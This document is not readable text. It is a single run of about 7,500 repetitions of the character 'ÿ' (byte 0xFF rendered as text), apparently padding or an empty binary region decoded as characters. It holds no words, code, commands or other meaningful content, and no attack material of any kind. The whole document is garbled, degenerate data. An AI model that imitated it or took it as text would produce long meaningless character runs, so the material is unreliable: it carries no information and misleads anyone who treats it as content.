ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ